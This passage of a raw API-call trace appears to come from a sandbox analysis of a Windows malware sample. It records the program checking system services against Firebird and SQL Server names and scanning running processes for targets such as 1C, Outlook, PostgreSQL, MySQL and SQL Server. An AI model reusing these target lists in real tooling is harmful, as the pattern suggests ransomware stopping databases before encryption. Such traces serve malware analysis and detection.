returned 1 [0081.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0081.232] lstrlenW (lpString="DPS") returned 3 [0081.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0081.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0081.232] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0081.232] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0081.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0081.232] lstrlenW (lpString="eventlog") returned 8 [0081.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0081.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0081.232] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0081.232] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0081.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0081.232] lstrlenW (lpString="EventSystem") returned 11 [0081.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0081.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0081.233] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0081.233] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0081.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0081.233] lstrlenW (lpString="gpsvc") returned 5 [0081.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0081.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0081.233] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0081.233] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0081.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0081.233] lstrlenW (lpString="iphlpsvc") returned 8 [0081.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0081.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0081.233] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0081.233] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0081.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0081.233] lstrlenW (lpString="LanmanServer") returned 12 [0081.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0081.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0081.233] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0081.233] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0081.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0081.233] lstrlenW (lpString="LanmanWorkstation") returned 17 [0081.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0081.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0081.234] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0081.234] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0081.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0081.234] lstrlenW (lpString="lmhosts") returned 7 [0081.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0081.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0081.234] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0081.234] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0081.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0081.234] lstrlenW (lpString="MMCSS") returned 5 [0081.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0081.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0081.234] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0081.234] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0081.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0081.234] lstrlenW (lpString="MpsSvc") returned 6 [0081.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0081.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0081.234] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0081.234] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0081.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0081.234] lstrlenW (lpString="Netman") returned 6 [0081.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0081.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0081.234] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0081.234] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0081.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0081.235] lstrlenW (lpString="netprofm") returned 8 [0081.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0081.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0081.235] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0081.235] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0081.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0081.235] lstrlenW (lpString="NlaSvc") returned 6 [0081.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0081.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0081.235] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0081.235] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0081.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0081.235] lstrlenW (lpString="nsi") returned 3 [0081.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0081.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0081.235] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0081.235] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0081.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0081.235] lstrlenW (lpString="PcaSvc") returned 6 [0081.235] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0081.235] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0081.235] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0081.235] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0081.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0081.236] lstrlenW (lpString="PlugPlay") returned 8 [0081.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0081.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0081.236] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0081.236] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0081.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0081.236] lstrlenW (lpString="Power") returned 5 [0081.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0081.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0081.236] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0081.236] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0081.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0081.236] lstrlenW (lpString="ProfSvc") returned 7 [0081.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0081.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0081.236] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0081.236] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0081.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0081.236] lstrlenW (lpString="RpcEptMapper") returned 12 [0081.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0081.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0081.236] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0081.236] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0081.236] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0081.236] lstrlenW (lpString="RpcSs") returned 5 [0081.236] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0081.236] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0081.237] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0081.237] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0081.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0081.237] lstrlenW (lpString="SamSs") returned 5 [0081.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0081.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0081.237] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0081.237] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0081.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0081.237] lstrlenW (lpString="Schedule") returned 8 [0081.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0081.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0081.237] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0081.237] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0081.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0081.237] lstrlenW (lpString="SENS") returned 4 [0081.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0081.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0081.237] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0081.237] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0081.237] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0081.237] lstrlenW (lpString="ShellHWDetection") returned 16 [0081.237] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0081.237] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0081.237] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0081.238] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0081.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0081.238] lstrlenW (lpString="Spooler") returned 7 [0081.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0081.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0081.238] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0081.238] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0081.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0081.238] lstrlenW (lpString="swprv") returned 5 [0081.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0081.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0081.238] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0081.238] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0081.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0081.238] lstrlenW (lpString="SysMain") returned 7 [0081.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0081.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0081.238] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0081.238] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0081.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0081.238] lstrlenW (lpString="Themes") returned 6 [0081.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0081.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0081.238] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0081.238] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0081.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0081.239] lstrlenW (lpString="TrkWks") returned 6 [0081.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0081.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0081.239] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0081.239] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0081.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0081.239] lstrlenW (lpString="UxSms") returned 5 [0081.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0081.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0081.239] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0081.239] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0081.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0081.239] lstrlenW (lpString="VSS") returned 3 [0081.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0081.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0081.239] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0081.239] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0081.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0081.239] lstrlenW (lpString="WdiServiceHost") returned 14 [0081.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0081.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0081.239] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0081.239] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0081.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0081.239] lstrlenW (lpString="WdiSystemHost") returned 13 [0081.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0081.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0081.240] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0081.240] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0081.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0081.240] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0081.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0081.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0081.240] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0081.240] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0081.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0081.240] lstrlenW (lpString="Winmgmt") returned 7 [0081.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0081.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0081.240] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0081.240] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0081.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0081.240] lstrlenW (lpString="WPDBusEnum") returned 10 [0081.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0081.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0081.240] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0081.240] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0081.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0081.240] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3959740 | out: hHeap=0x4b0000) returned 1 [0081.240] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x168 [0081.244] Process32FirstW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0081.245] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0081.245] lstrlenW (lpString="System") returned 6 [0081.245] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0081.245] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0081.245] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0081.245] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0081.245] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0081.245] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0081.245] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0081.245] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0081.246] lstrlenW (lpString="smss.exe") returned 8 [0081.246] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0081.246] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0081.246] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0081.246] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0081.246] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0081.246] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0081.246] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0081.246] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0081.246] lstrlenW (lpString="csrss.exe") returned 9 [0081.246] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0081.247] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0081.247] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0081.247] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0081.247] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0081.247] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0081.247] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0081.247] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0081.247] lstrlenW (lpString="wininit.exe") returned 11 [0081.247] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0081.247] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0081.247] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0081.247] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0081.248] lstrlenW (lpString="csrss.exe") returned 9 [0081.248] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0081.248] lstrlenW (lpString="winlogon.exe") returned 12 [0081.248] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0081.249] lstrlenW (lpString="services.exe") returned 12 [0081.249] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0081.249] lstrlenW (lpString="lsass.exe") returned 9 [0081.249] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0081.250] lstrlenW (lpString="lsm.exe") returned 7 [0081.250] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.250] lstrlenW (lpString="svchost.exe") returned 11 [0081.250] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.251] lstrlenW (lpString="svchost.exe") returned 11 [0081.251] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.251] lstrlenW (lpString="svchost.exe") returned 11 [0081.251] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.251] lstrlenW (lpString="svchost.exe") returned 11 [0081.252] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.252] lstrlenW (lpString="svchost.exe") returned 11 [0081.252] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0081.252] lstrlenW (lpString="audiodg.exe") returned 11 [0081.252] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.253] lstrlenW (lpString="svchost.exe") returned 11 [0081.253] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.253] lstrlenW (lpString="svchost.exe") returned 11 [0081.253] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0081.254] lstrlenW (lpString="dwm.exe") returned 7 [0081.254] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0081.254] lstrlenW (lpString="explorer.exe") returned 12 [0081.254] Process32NextW (in: hSnapshot=0x168, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, 